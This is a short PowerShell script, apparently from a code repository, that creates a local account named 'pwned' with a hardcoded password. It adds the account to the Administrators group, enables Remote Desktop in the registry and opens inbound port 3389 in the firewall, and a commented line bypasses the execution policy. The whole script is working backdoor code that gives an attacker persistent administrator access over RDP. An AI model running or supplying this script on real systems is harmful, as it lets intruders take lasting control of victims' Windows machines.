51 lines
2.0 KiB
PowerShell
51 lines
2.0 KiB
PowerShell
#Set-ExecutionPolicy Bypass -Scope CurrentUser -Force
|
|
#Get-ExecutionPolicy -Scope CurrentUser
|
|
|
|
# Define the password for the user
|
|
$Password = "YourSecurePassword123"
|
|
|
|
# Create the user 'pwned' with the specified password
|
|
Write-Host "Creating user 'pwned'..."
|
|
try {
|
|
New-LocalUser -Name "pwned" -Password (ConvertTo-SecureString $Password -AsPlainText -Force) -FullName "pwned User" -Description "Automatically created user" -ErrorAction Stop
|
|
Write-Host "User 'pwned' has been created."
|
|
} catch {
|
|
Write-Host "User 'pwned' already exists or an error occurred."
|
|
}
|
|
|
|
# Add the user 'pwned' to the Administrators group
|
|
Write-Host "Adding user 'pwned' to the Administrators group..."
|
|
try {
|
|
Add-LocalGroupMember -Group "Administrators" -Member "pwned" -ErrorAction Stop
|
|
Write-Host "User 'pwned' has been added to the Administrators group."
|
|
} catch {
|
|
Write-Host "User 'pwned' is already a member of the Administrators group or an error occurred."
|
|
}
|
|
|
|
# Enable Remote Desktop
|
|
Write-Host "Enabling Remote Desktop..."
|
|
try {
|
|
Set-ItemProperty -Path "HKLM:\\SYSTEM\\CurrentControlSet\\Control\\Terminal Server" -Name "fDenyTSConnections" -Value 0 -ErrorAction Stop
|
|
Write-Host "Remote Desktop has been enabled."
|
|
} catch {
|
|
Write-Host "Failed to enable Remote Desktop or it is already enabled."
|
|
}
|
|
|
|
# Check if the firewall rule for RDP exists
|
|
$rdpRule = Get-NetFirewallRule -DisplayName "Remote Desktop" -ErrorAction SilentlyContinue
|
|
|
|
if ($rdpRule) {
|
|
Write-Host "Firewall rule 'Remote Desktop' already exists. Skipping creation."
|
|
} else {
|
|
Write-Host "Creating firewall rule for Remote Desktop..."
|
|
try {
|
|
New-NetFirewallRule -Name "RDP Rule" -DisplayName "Remote Desktop" -Protocol TCP -LocalPort 3389 -Action Allow -Direction Inbound -ErrorAction Stop
|
|
Write-Host "Firewall rule for Remote Desktop has been created."
|
|
} catch {
|
|
Write-Host "An error occurred while creating the firewall rule for Remote Desktop."
|
|
}
|
|
}
|
|
|
|
# Notify the user that all tasks have been completed
|
|
Write-Host "All tasks completed successfully."
|